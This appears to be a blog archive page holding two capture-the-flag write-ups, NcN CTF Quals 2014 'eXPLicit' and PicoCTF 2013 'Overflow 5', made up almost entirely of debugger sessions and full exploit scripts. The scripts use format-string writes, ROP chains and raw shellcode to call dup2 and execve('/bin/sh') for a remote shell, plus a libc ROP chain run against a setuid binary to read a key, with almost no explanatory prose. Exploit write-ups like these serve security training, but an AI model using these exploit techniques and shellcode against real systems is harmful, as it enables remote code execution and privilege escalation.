Showing posts with label ropgadget. Show all posts
Showing posts with label ropgadget. Show all posts

# NcN CTF Quals 2k14: eXPLicit (500 points)


# echo 0 > /proc/sys/kernel/randomize_va_space
# ./explicit
# gdb -q -p `ps axuf | grep explicit | head -n 1 | awk '{print $2}'`
Attaching to process 10837
Reading symbols from /eXPLicit/explicit...(no debugging symbols found)...done.
0x0806093c in ?? ()
(gdb) set disassembly-flavor intel
(gdb) set follow-fork-mode child
(gdb) continue
Continuing.
# nc 127.0.0.1 7070
Welcome to Guess The Number Online!

Pick a number between 0 and 20: %n
^C
[New process 10894]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 10894]
0x08072d7d in ?? ()
(gdb) backtrace
#0  0x08072d7d in ?? ()
#1  0x0804f96f in ?? ()
#2  0x08048bfc in ?? ()
#3  0x08048e30 in ?? ()
#4  0x08049056 in ?? ()
#5  0x0804899b in ?? ()
(gdb) x/2i 0x0804f96f-0x5
   0x804f96a: call   0x806ea80
   0x804f96f: add    esp,0x1c
(gdb) quit
# gdb -q -p `ps axuf | grep explicit | head -n 1 | awk '{print $2}'`
Attaching to process 10837
Reading symbols from /eXPLicit/explicit...(no debugging symbols found)...done.
0x0806093c in ?? ()
(gdb) break *0x806ea80
Breakpoint 1 at 0x806ea80
(gdb) continue
Continuing.
# nc 127.0.0.1 7070
Welcome to Guess The Number Online!

Pick a number between 0 and 20: %n
[New process 10952]
[Switching to process 10952]

Breakpoint 1, 0x0806ea80 in ?? ()
(gdb) x/xw $esp
0xbffff59c: 0x0804f96f
(gdb) quit
# ./checksec.sh --file explicit
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   explicit
# gdb -q -x rop.py
=== BINARY ===

Path = /eXPLicit/explicit
Type = elf32
Arch = i386
EP   = 0x804897a
Low  = 0x8048140
High = 0x80ab7f4

=== PRIMITIVE GADGETS (Depth = 1) ===

inc eax
  0x806d6ff: inc eax;

inc ebx

inc ecx

inc edx

mov dword ptr [eax],ebx

mov dword ptr [eax],ecx

mov dword ptr [eax],edx
  0x806d781: mov dword ptr [eax],edx;

mov dword ptr [ebx],eax

mov dword ptr [ebx],ecx

mov dword ptr [ebx],edx

mov dword ptr [ecx],eax

mov dword ptr [ecx],ebx

mov dword ptr [ecx],edx

mov dword ptr [edx],eax
  0x808a73d: mov dword ptr [edx],eax;

mov dword ptr [edx],ebx

mov dword ptr [edx],ecx
  0x8055952: mov dword ptr [edx],ecx;

mov eax,ebx

mov eax,ecx

mov eax,edx
  0x805c1ff: mov eax,edx;
  0x8060aa7: mov eax,edx;

mov ebx,eax

mov ebx,ecx

mov ebx,edx

mov ecx,eax

mov ecx,ebx

mov ecx,edx

mov edx,eax

mov edx,ebx

mov edx,ecx

pop eax
  0x80a8ff6: pop eax;

pop ebx
  0x804d106: pop ebx;
  0x804e73c: pop ebx;
  0x804e7a3: pop ebx;
  0x805169d: pop ebx;
  0x8052239: pop ebx;
  ...

pop ecx

pop edx
  0x8060a56: pop edx;

pop esp
  0x80a8fa6: pop esp;

push eax
  0x80a8f96: push eax;

push ebx

push ecx

push edx

push esp
  0x80a9006: push esp;

xor eax,eax
  0x80551c0: xor eax,eax;
  0x8055bc0: xor eax,eax;
  0x8055c00: xor eax,eax;
  0x8059644: xor eax,eax;
  0x805e0c8: xor eax,eax;
  ...

xor ebx,ebx

xor ecx,ecx

xor edx,edx

int 0x80
  0x8061240: int 0x80;
  0x8082715: int 0x80;
  0x8082725: int 0x80;
  0x8082735: int 0x80;
  0x8082745: int 0x80;

=== VARIABLES ===

inc_eax = 0x806d6ff
mov_dword_ptr_eax_edx = 0x806d781
mov_dword_ptr_edx_eax = 0x808a73d
mov_dword_ptr_edx_ecx = 0x8055952
mov_eax_edx = 0x805c1ff
pop_eax = 0x80a8ff6
pop_ebx = 0x804d106
pop_edx = 0x8060a56
pop_esp = 0x80a8fa6
push_eax = 0x80a8f96
push_esp = 0x80a9006
xor_eax_eax = 0x80551c0
int_0x80 = 0x8061240
# readelf --section-headers explicit | grep '\.bss'
[23] .bss              NOBITS          080d6080 08e060 00136c 00  WA  0   0 64
# cat exploit.py
#!/usr/bin/env python

import socket
import struct
import sys

def whatoffset(what, offset):
       while what <= offset:
              what += 0x100
       what -= offset
       return what, what + offset

def fs_4writes(what, where, offset, init):
       mask     = 0xff
       offset   = 16 + offset # 4 bytes * 4 addr + offset
       what_b0  = (what      ) & mask
       what_b1  = (what >>  8) & mask
       what_b2  = (what >> 16) & mask
       what_b3  = (what >> 24) & mask

       what_b0, offset = whatoffset(what_b0, offset)
       what_b1, offset = whatoffset(what_b1, offset)
       what_b2, offset = whatoffset(what_b2, offset)
       what_b3, offset = whatoffset(what_b3, offset)

       return struct.pack('<I', where      ) + \
              struct.pack('<I', (where + 1)) + \
              struct.pack('<I', (where + 2)) + \
              struct.pack('<I', (where + 3)) + \
              ('%%%dc'    % what_b0        ) + \
              ('%%%d$hhn' % init           ) + \
              ('%%%dc'    % what_b1        ) + \
              ('%%%d$hhn' % (init + 1)     ) + \
              ('%%%dc'    % what_b2        ) + \
              ('%%%d$hhn' % (init + 2)     ) + \
              ('%%%dc'    % what_b3        ) + \
              ('%%%d$hhn' % (init + 3)     )

host = sys.argv[1]
port = int(sys.argv[2])
retaddr = int(sys.argv[3], 16)

c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.connect((host, port))
r = c.recv(1024)

add_esp_0x3c = 0x808cb20
bss = 0x80d6080
inc_eax = 0x806d6ff
inc_ecx = 0x80c7a5c
int_0x80 = 0x8061240
mov_dword_ptr_edx_eax = 0x808a73d
pop_eax = 0x80ced61
pop_ebx = 0x804d106
#0x80cf077: pop ecx; or cl,byte ptr [esi]; or al,0x43; ret
pop_ecx = 0x80cf077
#0x8083fc6: pop edx; or eax,0x89c08508; ret
pop_edx = 0x8083fc6
pop_esi = 0x80499f5
xor_eax_eax = 0x80551c0

dup2_syscall = 0x3f
fd = 0x4
padding = 'P'

fs = fs_4writes(add_esp_0x3c, retaddr, 4, 7)

# ropchain = dup2(fd, 0) + dup2(fd, 1) + dup2(fd, 2) + execve('/bin/sh', 0, 0)

ropchain =    struct.pack('<I', pop_eax) + \
              struct.pack('<I', dup2_syscall) + \
              struct.pack('<I', pop_ebx) + \
              struct.pack('<I', fd) + \
              struct.pack('<I', int_0x80) + \
\
              struct.pack('<I', pop_eax) + \
              struct.pack('<I', dup2_syscall) + \
              struct.pack('<I', inc_ecx) + \
              struct.pack('<I', int_0x80) + \
\
              struct.pack('<I', pop_eax) + \
              struct.pack('<I', dup2_syscall) + \
              struct.pack('<I', inc_ecx) + \
              struct.pack('<I', int_0x80) + \
\
              struct.pack('<I', pop_edx) + \
              struct.pack('<I', bss) + \
              struct.pack('<I', pop_eax) + \
              '/bin' + \
              struct.pack('<I', mov_dword_ptr_edx_eax) + \
\
              struct.pack('<I', pop_edx) + \
              struct.pack('<I', bss + 4) + \
              struct.pack('<I', pop_eax) + \
              '//sh' + \
              struct.pack('<I', mov_dword_ptr_edx_eax) + \
\
              struct.pack('<I', pop_edx) + \
              struct.pack('<I', bss + 8) + \
              struct.pack('<I', xor_eax_eax) + \
              struct.pack('<I', mov_dword_ptr_edx_eax) + \
\
              struct.pack('<I', pop_esi) + \
              struct.pack('<I', bss + 8) + \
              struct.pack('<I', pop_ecx) + \
              struct.pack('<I', bss + 8) + \
              struct.pack('<I', pop_ebx) + \
              struct.pack('<I', bss) + \
              struct.pack('<I', pop_edx) + \
              struct.pack('<I', bss + 8) + \
\
              struct.pack('<I', xor_eax_eax) + \
              struct.pack('<I', inc_eax) * 11 + \
\
              struct.pack('<I', int_0x80)

shellcode =   struct.pack('<I', add_esp_0x3c) + \
              fs + \
              padding + \
              ropchain

c.send(shellcode + '\n')

command = ''
while command[:-1] != 'exit':
       print '> ',
       sys.stdout.flush()
       command = sys.stdin.readline()
       c.send(command)
       sys.stdout.write(c.recv(1024))

c.close()
# ./exploit.py 127.0.0.1 7070 0xbffff59c
>

Another solution using mprotect (based on @esanfelix exploit)

# ./search_instructions.py /eXPLicit/explicit mov+eax,0x3 int+0x80 # read
 805ef57: b8 03 00 00 00        mov    eax,0x3
 805ef5c: cd 80                 int    0x80

 805ef7e: b8 03 00 00 00        mov    eax,0x3
 805ef83: cd 80                 int    0x80

 8082a07: b8 36 00 00 00        mov    eax,0x36
 8082a0c: cd 80                 int    0x80
# ./search_instructions.py /eXPLicit/explicit mov+eax,0x7d int+0x80 # mprotect
 805fa3d: b8 7d 00 00 00        mov    eax,0x7d
 805fa42: cd 80                 int    0x80

# gdb -q explicit
(gdb) x/10i 0x805ef4a
   0x805ef4a: push   ebx
   0x805ef4b: mov    edx,DWORD PTR [esp+0x10]
   0x805ef4f: mov    ecx,DWORD PTR [esp+0xc]
   0x805ef53: mov    ebx,DWORD PTR [esp+0x8]
   0x805ef57: mov    eax,0x3
   0x805ef5c: int    0x80
   0x805ef5e: pop    ebx
   0x805ef5f: cmp    eax,0xfffff001
   0x805ef64: jae    0x8062270
   0x805ef6a: ret
(gdb) x/10i 0x805fa30
   0x805fa30: push   ebx
   0x805fa31: mov    edx,DWORD PTR [esp+0x10]
   0x805fa35: mov    ecx,DWORD PTR [esp+0xc]
   0x805fa39: mov    ebx,DWORD PTR [esp+0x8]
   0x805fa3d: mov    eax,0x7d
   0x805fa42: int    0x80
   0x805fa44: pop    ebx
   0x805fa45: cmp    eax,0xfffff001
   0x805fa4a: jae    0x8062270
   0x805fa50: ret

# ./search_instructions.py /eXPLicit/explicit pop pop pop ret
 8048218: 5e                    pop    esi
 8048219: 5f                    pop    edi
 804821a: 5d                    pop    ebp
 804821b: c3                    ret
# cat exploit-mprotect.py 
#!/usr/bin/env python

import socket
import struct
import sys
import time

def whatoffset(what, offset):
 while what <= offset:
  what += 0x100
 what -= offset
 return what, what + offset

def fs_4writes(what, where, offset, init):
 mask     = 0xff
 offset   = 16 + offset # 4 bytes * 4 addr + offset
 what_b0  = (what      ) & mask
 what_b1  = (what >>  8) & mask
 what_b2  = (what >> 16) & mask
 what_b3  = (what >> 24) & mask

 what_b0, offset = whatoffset(what_b0, offset)
 what_b1, offset = whatoffset(what_b1, offset)
 what_b2, offset = whatoffset(what_b2, offset)
 what_b3, offset = whatoffset(what_b3, offset)

 return struct.pack('<I', where      ) + \
  struct.pack('<I', (where + 1)) + \
  struct.pack('<I', (where + 2)) + \
  struct.pack('<I', (where + 3)) + \
  ('%%%dc'    % what_b0        ) + \
  ('%%%d$hhn' % init           ) + \
  ('%%%dc'    % what_b1        ) + \
  ('%%%d$hhn' % (init + 1)     ) + \
  ('%%%dc'    % what_b2        ) + \
  ('%%%d$hhn' % (init + 2)     ) + \
  ('%%%dc'    % what_b3        ) + \
  ('%%%d$hhn' % (init + 3)     )

host = sys.argv[1]
port = int(sys.argv[2])
retaddr = int(sys.argv[3], 16)

c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.connect((host, port))
r = c.recv(1024)

add_esp_0x3c = 0x808cb20
bss = 0x80d6080
mprotect = 0x805fa30
page_size = 0x1000
page_aligned = bss & ~(page_size - 1)
pop_pop_pop_ret = 0x8048218
prot = 0x4 # [x]wr
read = 0x805ef4a

fd = 0x4
padding = 'P'

fs = fs_4writes(add_esp_0x3c, retaddr, 4, 7)

dup2   = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3" + struct.pack('B', fd) + "\xcd\x80\x75\xf6"
execve = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xb0\x0b\xcd\x80"

shellcode_s2 = dup2 + execve

count = len(shellcode_s2) + 1

# ropchain = read(fd, bss, len(shellcode_s2)) + mprotect(page_aligned, page_size, prot)

ropchain = struct.pack('<I', read) + \
  struct.pack('<I', pop_pop_pop_ret) + \
  struct.pack('<I', fd) + \
  struct.pack('<I', bss) + \
  struct.pack('<I', count) + \
\
  struct.pack('<I', mprotect) + \
  struct.pack('<I', bss) + \
  struct.pack('<I', page_aligned) + \
  struct.pack('<I', page_size) + \
  struct.pack('<I', prot)

shellcode_s1 = struct.pack('<I', add_esp_0x3c) + \
  fs + \
  padding + \
  ropchain

c.send(shellcode_s1 + '\n')
time.sleep(0.2)
c.send(shellcode_s2 + '\n')

command = ''
while command[:-1] != 'exit':
 print '> ',
 sys.stdout.flush()
 command = sys.stdin.readline()
 c.send(command)
 sys.stdout.write(c.recv(1024))

c.close()
# ./exploit-mprotect.py 127.0.0.1 7070 0xbffff59c
>

# PicoCTF 2k13 - Overflow 5


$ gdb buffer_overflow_shellcode_hard
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
   0x080483c0 <+0>: push   ebp
   0x080483c1 <+1>: mov    ebp,esp
   0x080483c3 <+3>: and    esp,0xfffffff0
   0x080483c6 <+6>: sub    esp,0x10
   0x080483c9 <+9>: cmp    DWORD PTR [ebp+0x8],0x2
   0x080483cd <+13>: je     0x80483e2 <main+34>
   0x080483cf <+15>: mov    DWORD PTR [esp],0x80485c0
   0x080483d6 <+22>: call   0x8048390 <puts@plt>
   0x080483db <+27>: mov    eax,0x1
   0x080483e0 <+32>: leave  
   0x080483e1 <+33>: ret    
   0x080483e2 <+34>: call   0x8048370 <geteuid@plt>
   0x080483e7 <+39>: mov    DWORD PTR [esp+0x8],eax
   0x080483eb <+43>: mov    DWORD PTR [esp+0x4],eax
   0x080483ef <+47>: mov    DWORD PTR [esp],eax
   0x080483f2 <+50>: call   0x8048360 <setresuid@plt>
   0x080483f7 <+55>: mov    eax,DWORD PTR [ebp+0xc]
   0x080483fa <+58>: mov    eax,DWORD PTR [eax+0x4]
   0x080483fd <+61>: mov    DWORD PTR [esp],eax
   0x08048400 <+64>: call   0x80484c0 <vuln>
   0x08048405 <+69>: xor    eax,eax
   0x08048407 <+71>: leave  
   0x08048408 <+72>: ret    
End of assembler dump.
(gdb) disassemble vuln
Dump of assembler code for function vuln:
   0x080484c0 <+0>: sub    esp,0x41c
   0x080484c6 <+6>: mov    eax,DWORD PTR [esp+0x420]
   0x080484cd <+13>: mov    DWORD PTR [esp+0x4],eax
   0x080484d1 <+17>: lea    eax,[esp+0x10]
   0x080484d5 <+21>: mov    DWORD PTR [esp],eax
   0x080484d8 <+24>: call   0x8048380 <strcpy@plt>
   0x080484dd <+29>: add    esp,0x41c
   0x080484e3 <+35>: ret    
End of assembler dump.
(gdb) break main
(gdb) run
(gdb) info proc mappings 
process 21137
Mapped address spaces:

 Start Addr   End Addr       Size     Offset objfile
  0x8048000  0x8049000     0x1000        0x0 /problems/stack_overflow_5_0353c1a83cb2fa0d/buffer_overflow_shellcode_hard
  0x8049000  0x804a000     0x1000        0x0 /problems/stack_overflow_5_0353c1a83cb2fa0d/buffer_overflow_shellcode_hard
  0x804a000  0x804b000     0x1000     0x1000 /problems/stack_overflow_5_0353c1a83cb2fa0d/buffer_overflow_shellcode_hard
 0xf7e28000 0xf7e29000     0x1000        0x0 
 0xf7e29000 0xf7fca000   0x1a1000        0x0 /lib32/libc-2.15.so
 0xf7fca000 0xf7fcc000     0x2000   0x1a1000 /lib32/libc-2.15.so
 0xf7fcc000 0xf7fcd000     0x1000   0x1a3000 /lib32/libc-2.15.so
 0xf7fcd000 0xf7fd1000     0x4000        0x0 
 0xf7fda000 0xf7fdb000     0x1000        0x0 
 0xf7fdb000 0xf7fdc000     0x1000        0x0 [vdso]
 0xf7fdc000 0xf7ffc000    0x20000        0x0 /lib32/ld-2.15.so
 0xf7ffc000 0xf7ffd000     0x1000    0x1f000 /lib32/ld-2.15.so
 0xf7ffd000 0xf7ffe000     0x1000    0x20000 /lib32/ld-2.15.so
 0xfffdd000 0xffffe000    0x21000        0x0 [stack]
$ ./ROPgadget /lib32/libc-2.15.so /bin/dash 2>&1 | grep -A 1000 python | sed -e "s/p = ''/p = '\\\x90'*1036/" -e 's/off = 0x0/off = 0xf7e29000/' > ~/rop.py
# cat ~/rop.py 
#!/usr/bin/python
# execve generated by Ropgadget v4.0.4
from struct import pack

p = '\x90'*1036
# Padding goes here

# This ROP Exploit has been generated for a shared object.
# The addresses of the gadgets will need to be adjusted.
# Set this variable to the offset of the shared library
off = 0xf7e29000

p += pack("<I", off + 0x000f35df) # pop edx ; pop ecx ; pop eax ; ret
p += "AAAA" # padding
p += pack("<I", off + 0x001a3ee0) # @ .data
p += "AAAA" # padding
p += pack("<I", off + 0x00023f78) # pop eax ; ret
p += "/bin" # /bin
p += pack("<I", off + 0x0007416a) # mov DWORD PTR [ecx],eax ; ret
p += pack("<I", off + 0x000f35df) # pop edx ; pop ecx ; pop eax ; ret
p += "AAAA" # padding
p += pack("<I", off + 0x001a3ee4) # @ .data + 4
p += "AAAA" # padding
p += pack("<I", off + 0x00023f78) # pop eax ; ret
p += "/das" # /das
p += pack("<I", off + 0x0007416a) # mov DWORD PTR [ecx],eax ; ret
p += pack("<I", off + 0x000f35df) # pop edx ; pop ecx ; pop eax ; ret
p += "AAAA" # padding
p += pack("<I", off + 0x001a3ee8) # @ .data + 8
p += "AAAA" # padding
p += pack("<I", off + 0x00023f78) # pop eax ; ret
p += "hAAA" # hAAA
p += pack("<I", off + 0x0007416a) # mov DWORD PTR [ecx],eax ; ret
p += pack("<I", off + 0x000f35df) # pop edx ; pop ecx ; pop eax ; ret
p += "AAAA" # padding
p += pack("<I", off + 0x001a3ee9) # @ .data + 9
p += "AAAA" # padding
p += pack("<I", off + 0x00032e30) # xor eax,eax ; ret
p += pack("<I", off + 0x0007416a) # mov DWORD PTR [ecx],eax ; ret
p += pack("<I", off + 0x000192ee) # pop ebx ; ret
p += pack("<I", off + 0x001a3ee0) # @ .data
p += pack("<I", off + 0x000f35df) # pop edx ; pop ecx ; pop eax ; ret
p += "AAAA" # padding
p += pack("<I", off + 0x001a3ee9) # @ .data + 9
p += "AAAA" # padding
p += pack("<I", off + 0x00001a9e) # pop edx ; ret
p += pack("<I", off + 0x001a3ee9) # @ .data + 9
p += pack("<I", off + 0x00032e30) # xor eax,eax ; ret
p += pack("<I", off + 0x000082ac) # inc eax ; ret
p += pack("<I", off + 0x000082ac) # inc eax ; ret
p += pack("<I", off + 0x000082ac) # inc eax ; ret
p += pack("<I", off + 0x000082ac) # inc eax ; ret
p += pack("<I", off + 0x000082ac) # inc eax ; ret
p += pack("<I", off + 0x000082ac) # inc eax ; ret
p += pack("<I", off + 0x000082ac) # inc eax ; ret
p += pack("<I", off + 0x000082ac) # inc eax ; ret
p += pack("<I", off + 0x000082ac) # inc eax ; ret
p += pack("<I", off + 0x000082ac) # inc eax ; ret
p += pack("<I", off + 0x000082ac) # inc eax ; ret
p += pack("<I", off + 0x0002e2f5) # int 0x80
print p
$ ./buffer_overflow_shellcode_hard `python ~/rop.py`
$ cat key
most_impressive_young_padawan